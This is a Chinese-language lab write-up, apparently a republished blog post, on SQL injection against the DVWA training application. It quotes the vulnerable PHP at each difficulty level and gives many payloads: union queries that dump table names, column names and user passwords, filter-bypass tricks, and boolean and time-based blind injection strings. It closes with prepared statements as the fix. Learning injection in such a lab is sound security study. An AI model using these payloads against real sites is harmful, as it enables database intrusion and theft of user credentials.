摘要:的值沒有用包圍,所以不能識別為型語句恒為真后面的子句恒為真,所以查詢的結果為所有數據字符型由于是字符型。函數表示連接數據庫失敗退出當前腳本。表示數據庫的連接語句從結果集中取出一行作為關聯數組,即列名和值對應的鍵值對。
SQL Injection SQL語句基本知識
由于常見的注入類型為數字型和字符型(根據查詢的字段值有無引號決定的)
可通過a" or 1 = 1#或者a or 1 = 1#(a表示正確輸入的值,#為注釋)來判斷注入類型。
若為數字型sql注入,前者報錯或查詢不到數據、后者可能查詢到所有結果
若為字符型sql注入,前者可能查詢到所有結果、后者報錯或查詢不到數據
將兩句payload帶入構造的sql查詢語句(以本實驗為例,a用1代替)
數字型:
select first_name,last_name from users where user_id = 1" or 1 = 1# #由于是數字型。"user_id"的值沒有用""包圍,所以"1""不能識別為int型 select first_name,last_name from users where user_id = 1 or 1 = 1# #where語句恒為真(or后面的子句恒為真),所以查詢的結果為所有數據
字符型:
select first_name,last_name from users where user_id = "1" or 1 = 1#" #由于是字符型。"user_id"的值用""包圍,且在sql語句中"#"為注釋功能。故where子句中條件恒為真 select first_name,last_name from users where user_id = "1 or 1 = 1#" #由于字符型查詢右引號缺失,導致報錯或查詢不到數據
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
代碼解析&自我理解:
isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
query變量為直接構造的sql查詢語句,沒有對用戶的輸入進行任何的過濾,導致sql注入的存在。
result通過mysqli_query()函數獲取數據庫查詢的結果集。die()函數表示連接數據庫失敗退出當前腳本。$GLOBALS["___mysqli_ston"]表示數據庫的連接語句
mysqli_fetch_assoc($result)從結果集中取出一行作為關聯數組,即列名和值對應的鍵值對。
dvwa1.9中使用的是mysql_numrows()函數返回集行數給num(只對select語句有效)
最后通過while判斷若有查詢結果且循環執行$row = mysqli_fetch_assoc( $result ),將結果集中每行結果對應的字段值賦值給相應的字段,并遍歷輸出。
介紹下手工注入的思路
1.判斷是否存在注入,注入的類型是字符型還是數字型(是否帶有引號)
2.猜解sql查詢語句的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.下載數據
實際操作步驟
首先,我們正常輸入User ID(1,2,3,4,5...)
可以看到輸入為1的時候,有正常的輸入。此時sql查詢語句為:
select first_name,last_name from users where user_id = "1"
但是作為一名鍵盤DJ...平時的愛好就是唱、跳、rap、敲鍵盤。。。。
1.判斷是否存在注入以及注入類型輸入1" or 1 = 1#
可以看到輸入為1" or 1 = 1#的時候,返回了多個查詢結果。此時sql查詢語句為:
select first_name,last_name from users where user_id = "1" or 1 = 1#" #在select語句中,"#"注釋掉后方單引號,所以where子句中"user_id = "1""和"1 = 1" #兩個條件通過or使得where子句恒為真(相當于沒有查詢約束條件)
通過結果可以知道存在字符型注入
2.猜解sql查詢語句中的字段數以及字段排序輸入:
1" or 1 = 1 order by 1#
1" or 1 = 1 order by 2#
1" or 1 = 1 order by 3#
...
此時,sql查詢語句為:
select first_name,last_name from users where user_id = "1" or 1 = 1 order by 1#" select first_name,last_name from users where user_id = "1" or 1 = 1 order by 2#" select first_name,last_name from users where user_id = "1" or 1 = 1 order by 3#" #在sql語句中"order by"子句的作用是根據指定的字段將結果集進行排序 #"order by"后面的內容可以為字段名也可以為數字,為數字時表示默認的第幾個字段
由于輸入1" or 1 = 1 order by 3#報錯,說明select的查詢字段只有兩個
輸入:
1" or 1 = 1 union select 1,2#或者1" union select 1,2#
此時,sql查詢語句為:
select first_name,last_name from users where user_id = "1" or 1 = 1 union select 1,2#" select first_name,last_name from users where user_id = "1" union select 1,2#" #union操作符用于合并兩個或多個select語句的結果集 #union中select語句必須擁有相同數量的字段。字段也必須擁有相似的數據類型。 #同時,每條select語句中的字段順序必須相同,這樣就可以通過"union select 1,2",返回的結果1,2的顯示順序判斷查詢字段順序
當然,也可以直接輸入1" union select 1,2,...#來構造sql語句:
select first_name,last_name from users where user_id = "1" union select 1,2,...#"
一次性猜解select語句中的字段數以及字段排序
3.依次獲取數據庫、表、字段的名稱輸入1" union select 1,database()#對應的sql查詢語句為:
select first_name,last_name from users where user_id = "1" union select 1,database()#" #因為union中select的字段數和順序都應相同,故需用select 1,database()中的"1"來補位,select database()就是查詢當前數據庫名 #此sql語句查詢的結果為兩行結果,第一行為union前的"正常"查詢結果,第二行中"first_name"列對應的值是1 #"last_name"列對應的值是數據庫名(database()的查詢結果)
獲得當前數據庫的名字為"dvwa"
接下來就是獲取數據庫的表名以及字段名了,在操作之前先說下原理:
在Mysql中有一個名叫information_schema的數據庫,里面存放著關于數據庫的相關信息。在此數據庫中有兩個表:tables(表中有兩個字段table_name(表名)、table_schema(數據庫名))和columns(表中也有兩個字段column_name(字段名)和table_name)分別存放著Mysql中所有表名和字段名。
tables和columns表中還有其他字段,這里列舉出兩個字段一個作為查詢字段(select),一個作為約束字段(where)。這樣就可以查詢到相應數據庫中的表名,以及相應表中的字段名。
在輸入框中構造sql查詢語句,輸入:
1" union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
對應的sql查詢語句為:
select first_name,last_name from users where user_id = "1" union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#" #union select后面的"1"還是作為補位補齊union前后select語句的字段數
上述sql語句可簡化為:
select group_concat(table_name) from information_schema.tables where table_schema = database() #首先group_concat()函數將多個字符串連接成一個字符串,以達到union字段數對應。 #因為當前數據庫為dvwa,所以用到information_schema.tables表示查詢的表是information_schema數據庫中的tables表 #database()表示獲取當前數據庫名(dvwa),也可直接寫"dvwa"
得到結果:dvwa數據庫中有兩個表:guestbook和users
查詢表中的字段(以users為例),輸入:
1" union select 1,group_concat(column_name) from information_schema.columns where table_name = "users"#("#可以不要)
對應sql語句:
select first_name,last_name from users where user_id = "1" union select 1,group_concat(column_name) from information_schema.columns where table_name = "users"#"
簡化sql查詢語句:
select group_concat(column_name) from information_schema.columns where table_name = "users" #找到information_schema數據庫中columns表中table_name="users"的所有字段。
可以看到users表中的字段分別為user_id、first_name、last_name、user、password、...
輸入
1" union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
對應的sql查詢語句為:
select first_name,last_name from users where user_id = "1" union select group_concat(user_id,first_name,last_name),group_concat(password) from users#"
簡化語句:
select group_concat(user_id,first_name,last_name),group_concat(password) from users#" #group_concat()中的字段名可以根據自己想要查詢的字段隨意組合
至此得到了users表中所有用戶的user_id,first_name,last_name,password的數據,也可以按照上述方法得到其他數據庫中其他表中的其他字段信息
自我延展:Medium 代碼分析
輸入:
1" union select 1,group_concat(table_schema) from information_schema.tables
簡化后對應的sql語句為:
select group_concat(table_schema) from information_schema.tables
#表示查詢Mysql中所有數據庫名
" . mysqli_error($GLOBALS["___mysqli_ston"]) . "" ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "
First name: {$first}
Surname: {$last}
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
相對于Low級別的代碼:
添加mysqli_real_escape_string()函數對id中特殊字符進行轉義,包括(x00, , ,,","",x1a)
mysqli_fetch_row()函數返回SELECT COUNT(*) FROM users(查詢users表中總行數)?至今沒搞懂這三行代碼有啥用?
同時在Medium級別中前端添加下拉選擇框限制用戶,這時候就用到Burp Suite抓包工具修改上傳數據
將網頁代理以及burpsuite中proxy攔截設置為同一地址
將burpsuite中設置intercept is on在網頁前端選擇數據,點擊Submit
得到抓包數據,將id的值改為sql注入常用payload:1" or 1 = 1#,點擊Forward
可以看到網頁報錯,說明服務器端對特殊符號(")進行了轉義。那我們就試試數字型注入。重新抓包構造payload:1 or 1 = 1,然后提交
可以看到查詢成功且存在的sql注入類型是數字型
由于是數字型sql注入,故無需輸入引號(特殊字符)。服務器端的mysql_real_escape_string()函數就形同虛設了(故意的吧。。。)總結SQL注入的繞過技巧
接下來的操作步驟與Low級別一致,只是payload中無需加入"和#符號如果這里還是字符型注入的話,解決方法和思路如下:
判斷其轉義的內容,可以看到其在"前加了/
可采用漢字雙字節編碼,其他繞過技巧:
1.繞過空格:
1.使用()——在Mysql中,括號用來包圍子查詢,任何可以計算出結果的語句,都可以用括號包圍起來。而括號的兩端,可以沒有多余的空格 select(column_name)from(table_name)where(column_name=value) 2.使用/**/——注釋符
2.繞過引號:
使用16進制: select column_name from information_schema.tables where table_name="users" select column_name from information_schema.tables where table_name=0x7573657273 一般在where子句中使用到引號,users的十六進制的字符串是7573657273
3.繞過逗號:
一般在substr()函數,limit中使用from...for select substr(database() from 1 for 1);
4.繞過比較符(<>):
使用greatest()、least():(前者返回最大值,后者返回最小值) 沒繞過之前使用以下sql語句來判斷database()第一個字母的ascii碼值(二分法會用到比較符): select * from users where id=1 and ascii(substr(database(),1,1))>64 不使用比較符: select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64
...
High 代碼分析Something went wrong." ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
First name: {$first}
Surname: {$last}
相對于Low級別的代碼:
在High級別中$query查詢語句添加了LIMIT 1,希望能夠控制只輸出一個結果
然而#可以將$id后面的代碼(" LIMIT 1)一并注釋掉。剩下的操作就和Low級別的一致了
前端將輸入和結果顯示分為兩個頁面(url),可以防止常規掃描工具(如sqlmap)的掃描檢測??
象征性依次寫一下payload:
1" or 1=1#判斷是否有注入及注入類型
1" union select 1,2,...#`或者`1" or 1 = 1 union select 1,2,...#判斷查詢字段數及字段順序
1" union select 1,group_concat(table_schema) from information_schema.tables查詢所有數據庫名-自創
1" union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#查詢當前數據庫中所有表名。可以將database()改為其他數據庫名(加引號),可查詢其他數據庫中的所有表名
1" union select 1,group_concat(column_name) from information_schema.columns where table_name = "users"#查詢相應表中的所有字段,可將users改為其他已獲取到的表名
1" union select group_concat(user_id,first_name,last_name),group_concat(password) from users#下載數據user_id,first_name,last_name,password都是users表中的字段
prepare( "SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;" ); $data->bindParam( ":id", $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ "first_name" ]; $last = $row[ "last_name" ]; // Feedback for end user echo "ID: {$id}"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
First name: {$first}
Surname: {$last}
Impossible級別的代碼采用了PDO技術,劃清了代碼與數據的界限,有效防御SQL注入
同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了"脫褲"
Anti-CSRFtoken機制的加入了進一步提高了安全性
SQL盲注與一般的注入區別在于一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注
注入思路以及過程:Low 代碼分析
因為盲注的返回結果有限(如是或不是),只有通過機械的詢問遍歷,最終獲得想要的數據
過程與手工注入相似:判斷注入存在及類型->猜解庫名->猜解表名->猜解字段名->猜解數據(無法直接獲取其他數據庫名)
盲注分為基于布爾的盲注、基于時間的盲注以及基于報錯的盲注
0 ) { // Feedback for end user echo "User ID exists in the database."; } else { // User wasn"t found, so the page wasn"t! header( $_SERVER[ "SERVER_PROTOCOL" ] . " 404 Not Found" ); // Feedback for end user echo "User ID is MISSING from the database."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到,與一般注入Low級別代碼比較:利用mysqli_num_rows()函數將結果集行數量返回給num
若有查詢結果(num>0)則返回結果ID存在,否則返回ID不存在
由于實驗環境限制(可能是sql語句報錯在網頁中體現不出來,無法判斷),故基于報錯的盲注無法實施基于布爾的盲注(用and構造其子句的真假來判斷查詢結果有無)
判斷是否存在注入以及注入類型,注入payload及結果
(payload中的數字依次遍歷,以下僅展示正確的示例)
1——User ID exists in the database 1" and 1 = 1#——User ID exists in the database(說明存在字符型sql注入) 1" and 1 = 2#——User ID is MISSING from the database(表明sql注入為盲注) 1 and 1 = 1#——User ID exists in the database為什么結果顯示存在?
說明存在字符型SQL盲注
猜解數據庫名,注入payload及結果
猜解數據庫名長度
1" and length(database())=1#——User ID is MISSING from the database 1" and length(database())=2#——User ID is MISSING from the database 1" and length(database())=3#——User ID is MISSING from the database 1" and length(database())=4#——User ID exists in the database
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and length(database())=1#" #and語句連接的length(database())=1如果為真,則返回and語句前的select查詢結果 #如果為假,則返回結果為Empty
length()函數作用是計算其參數(str類型)的字節數。結果說明當前數據庫名字符長度為4個字符
依次猜解數據庫名的字節(字母-一般通過字母的ASCII碼判斷),注入payload及結果:
1" and ascii(substr(databse(),1,1))=100#——User ID exists in the database =可改為>,<符號,利用二分法猜解
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and ascii(substr(databse(),1,1))=100#" #在這里只分析and條件后面的語句ascii(substr(databse(),1,1))=100,因為當其為真時會有查詢結果,為假沒有結果 #substr()函數截取字符串,第一個參數為被截取的字符串,第二個參數為起始字符,第三個參數為截取長度 #ascii()就是計算其參數的ascii碼值通過二分法猜解數據庫名的每個字母的ascii值
依次猜解就可以獲得數據庫名dvwa
猜解表名
猜解數據庫中表的數量,注入payload及結果
1" and (select count(table_name) from information_schema.tables where table_schema = database()) = 2#——User ID exists in the database 或者 1" and (select count(table_name) from information_schema.tables where table_schema = "dvwa") = 2#——User ID exists in the database #說明dvwa數據庫中有兩個表
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and (select count(table_name) from information_schema.tables where table_schema = "dvwa") = 2#" #其中(select count(table_name) from information_schema.tables where table_schema = "dvwa") = 2為真輸入結果 #COUNT(column_name) 函數返回指定列的值的數目
猜解表名字符數量,注入payload及結果:
1" and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#——User ID exists in the database 或者 1" and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#——User ID exists in the database
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#" 或者 SELECT first_name,last_name FROM users WHERE user_id = "1" and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#" #(select table_name from information_schema.tables where table_schema = database() limit 0,1)就是第一個表名,可以改變limit參數改變表名 #limit限制結果輸出,第一個參數是起始行(0表示第一行,依次遞增),第二個參數是數據數量(行數) #substr在此處只有兩個參數(沒有限制截取長度),想必是將select語句結果轉換成str類型的吧
此處select table_name from information_schema.tables where table_schema = database() limit 0,1的結果要用()才能將其轉換成str類型。length()、substr()函數參數都是str類型。length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))可以去掉substr()這個沒用的函數0.0.多嵌套讀寫順序從里往外
猜解表名具體字母,注入payload及結果:
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#——User ID exists in the database #說明第一個表名的第一個字符為小寫字母g
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#"
依舊采用二分法猜解表名其中一個字母的ascii碼值。改變limit后的參數以及substr()函數中的參數就能遍歷每個表名中每個字母
猜解出來的第一個表名字母依次是:g,u,e,s,t,b,o,o,k、第二個表名的字母依次是:u,s,e,r,s
猜解表中的字段名(以users表為例)
猜解字段數量,注入payload及結果:
1" and (select count(column_name) from information_schema.columns where table_name = "users") = 8#——User ID exists in the database #說明users表中總共有8個字段
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and (select count(column_name) from information_schema.columns where table_name = "users") = 8#" #count(COLUMN_NAME)計數依次增加直到為真,由于字段數一般不是很多,所以就不采用二分法判斷
猜解字段名字符數量,注入payload及結果:
1" and length((select column_name from information_schema.columns where table_name = "users" limit 0,1)) = 7#——User ID exists in the database 1" and length((select column_name from information_schema.columns where table_name = "users" limit 1,1)) = 10#——User ID exists in the database 1" and length((select column_name from information_schema.columns where table_name = "users" limit 2,1)) = 9#——User ID exists in the database ... 或者 1" and length(substr((select culomn_name from information_schema.columns where table_name = "users" limit 0,1),1)) = 7#——User ID exists in the database ... #依次猜表中每個字段字符數量(第一個字段字符數為7(user_id),(第二個字段字符數為10(first_name),(第三個字段字符數為9(last_name))
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and length((select column_name from information_schema.columns where table_name = "users" limit 0,1)) = 7#"
猜解字段名具體字母,注入payload及結果:
1" and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 117#——User ID exists in the database ...
構造的sql查詢語句為:
SELECT first_name,last_name FROM users WHERE user_id = "1" and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 117#" ... #第一個表名中第一個字母對應是u(u的ascii碼值為117)
改變limit后的參數以及substr()函數的參數遍歷就可得到users表中每個字段中的每個字母
至此得到當前數據庫名為dvwa,有guestbook和users兩個表。users表中有8個字段(分別有user_id,first_name,last_name,password...等字段)
下載數據
基于布爾手工下載數據要下到明年......這里總結下手工下載部分想要的數據。
比如我想知道first_name字段中有沒有"admin"數據,若有,找到"admin"對應的last_name
判斷first_name字段中有沒有"admin"
1" and ascii(substr((select first_name from users limit 0,1),1,1)) = 97#——User ID exists in the database 1" and ascii(substr((select first_name from users limit 1,1),1,1)) = 97#——User ID is MISSING from the database ... 1" and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID exists in the database 1" and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID is MISSING from the database ... ... #循環遍歷"admin"的ascii碼值和其他字段對應字母的ascii碼匹配。上述結果說明"admin"存在first_name字段中,且默認為第一條數據
查找first_name = "admin"對應的last_name
1" and ascii(substr((select last_name from users where first_name = "admin"),1,1)) = 97#——User ID exists in the database 1" and ascii(substr((select last_name from users where first_name = "admin"),2,1)) = 100#——User ID exists in the database ... 1" and ascii(substr((select last_name from users where first_name = "admin"),6,1)) = 0#——User ID exists in the database #說明last_name為"admin",第六個字母ascii碼為0說明為null
在基于布爾的盲注過程中:
猜解表(字段)數量、表(字段)字母數是為了給猜解ascii碼環節中limit和substr()提供參數
可以省略猜解表(字段、數據庫)字母數直接上ascii碼——substr()參數因為由0或1遞增到上限時,ascii碼為0(null)
不能省略猜解表(字段、數據庫)數量——limit參數,可能時因為獲取不到結果直接報錯了吧
判斷是否存在注入以及注入類型,注入payloads及結果
(payload中的數字依次遍歷,以下僅展示正確的示例)
1" and sleep(5)#——有明顯延遲/User ID is MISSING from the database 1 and sleep(5)#——沒有延遲/User ID exists in the database
基于時間的盲注主要看有無延遲,其他結果好像并不作為依據
說明存在字符型的基于時間的盲注
對應的sql語句:
SELECT first_name,last_name FROM users WHERE user_id = "1" and sleep(5)#" SELECT first_name,last_name FROM users WHERE user_id = "1 and sleep(5)#"
由于步驟和基于布爾的盲注一致,下面直接上payloads:(頁面發生延遲說明if條件句中條件正確)
1" and if(length(database())=4,sleep(5),1)# 1" and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 1" and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)# 1" and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 1" and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)# 1" and if(ascii(substr((select last_name from users where first_name = "admin"),1,1)) = 97,sleep(5),1)#總結:
基于時間的盲注比基于布爾的盲注多了個if(),sleep(N),參數1Medium、High、Impossible級別的代碼限制條件和一般注入一致,注入思路過程和盲注中Low級別思路過程一致
if()函數中的條件如果正確就執行sleep()函數,如果錯誤就返回1
過段時間再總結基于報錯的盲注....
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/31723.html
摘要:的值沒有用包圍,所以不能識別為型語句恒為真后面的子句恒為真,所以查詢的結果為所有數據字符型由于是字符型。函數表示連接數據庫失敗退出當前腳本。表示數據庫的連接語句從結果集中取出一行作為關聯數組,即列名和值對應的鍵值對。 SQL Injection SQL語句基本知識 由于常見的注入類型為數字型和字符型(根據查詢的字段值有無引號決定的) 可通過a or 1 = 1#或者a or 1 =...
摘要:搞開發離不開安全這個話題,確保網站或者網頁應用的安全性,是每個開發人員都應該了解的事。阿里巴巴的安全團隊在實戰中發現,防御產品的核心是檢測技術和清洗技術。表示轉賬的目標賬戶,表示轉賬數目。 搞 Web 開發離不開安全這個話題,確保網站或者網頁應用的安全性,是每個開發人員都應該了解的事。本篇主要簡單介紹在 Web 領域幾種常見的攻擊手段。 1. Cross Site Script(XSS...
閱讀 1223·2021-11-25 09:43
閱讀 1337·2021-09-26 09:55
閱讀 2330·2021-09-10 11:20
閱讀 3365·2019-08-30 15:55
閱讀 1441·2019-08-29 13:58
閱讀 1164·2019-08-29 12:36
閱讀 2337·2019-08-29 11:18
閱讀 3407·2019-08-26 11:47